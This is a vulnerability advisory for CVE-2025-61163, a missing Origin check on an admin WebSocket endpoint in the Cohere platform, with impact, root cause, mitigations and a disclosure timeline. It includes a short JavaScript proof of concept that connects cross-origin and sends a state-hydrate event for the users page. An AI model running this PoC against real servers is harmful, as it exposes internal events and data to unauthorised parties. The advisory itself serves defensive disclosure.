# CVE-2025-61163: Overly Permissive Cross-Domain Policy Exposing the System to Connections from Untrusted Origins

**CVE ID:** CVE-2025-61163 <br />
**Vulnerability Type:** Improper Cross-Domain Policy Configuration (CWE-942)<br />
**Severity:** High<br />
**Affected Component:** WebSocket Endpoint (`wss://example.com/admin/api/_event/?EIO=4&transport=websocket`)<br />
**Vendor:** Cohere<br />
**Discovered by:** Bahaa Dadoa
**Date Publicly Disclosed:** November 2025<br />

---

## Summary

An **Improper Cross-Domain Policy** vulnerability was identified in the Cohere platform, where a WebSocket endpoint accepts connections from **any origin**.  
This misconfiguration allows untrusted domains to initiate connections, interact with the system, and potentially access sensitive events or data streams.

The issue arises due to the lack of origin validation in the WebSocket implementation, which should restrict access to trusted origins only.

---

## Technical Description

The vulnerable WebSocket endpoint is as follows:

```
wss://example.com/admin/api/_event/?EIO=4&transport=websocket
```

The endpoint fails to enforce **origin-based restrictions**, allowing external or untrusted sites to open a connection and exchange data with the server.

### Example Proof-of-Concept

```javascript
const ws = new WebSocket("wss://example.com/admin/api/_event/?EIO=4&transport=websocket");

ws.onopen = () => {
  console.log("WebSocket connection opened");

  const initialMessage1 = '40/admin/api/_event,';
  ws.send(initialMessage1);
  console.log("Sent:", initialMessage1);

  const initialMessage2 = '42/admin/api/_event,["event",{"name":"reflex___state____state.hydrate","payload":{},"handler":null,"event_actions":{},"router_data":{"pathname":"/users","query":{},"asPath":"/users/"},"token":""}]';
  ws.send(initialMessage2);
  console.log("Sent:", initialMessage2);
};

ws.onmessage = (event) => {
  console.log("Received message:", event.data);
};

ws.onerror = (error) => {
  console.error("WebSocket error:", error);
};

ws.onclose = () => {
  console.log("WebSocket connection closed");
};
```

This code demonstrates that any external page or domain can successfully establish a connection with the WebSocket endpoint and interact with internal APIs.

---

## Impact

Exploitation of this vulnerability can allow:

* Unauthorized access to real-time internal events
* Data exposure through WebSocket messages
* Potential use of the connection to perform unintended actions within the system

Severity is classified as **High** since it exposes internal system behavior to untrusted environments.

---

## Root Cause

The WebSocket server fails to validate the `Origin` header of incoming connection requests.  
As a result, any external website can initiate a connection without restriction.

---

## Recommendation / Mitigation

* Enforce **origin checks** on all WebSocket upgrade requests.
* Restrict allowed origins using server-side configuration.
* Implement validation middleware to reject unauthorized connections.
* Monitor WebSocket access logs for unusual or cross-domain connections.

---

## Disclosure Timeline

| Date       | Action                                          |
| ---------- | ----------------------------------------------- |
| 2025-09-04 | Vulnerability discovered and reported to vendor |
| 2025-09-05 | Vendor acknowledged receipt                     |
| 2025-10-01 | Vendor patch vulnerability                      |
| 2025-10-08 | CVE assigned                                    |
| 2025-11-03 | public disclosure                               |

---

## References

* [CVE Record (MITRE)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61163)

---

## Credit

**Researcher:** Bahaa Dadoa<br />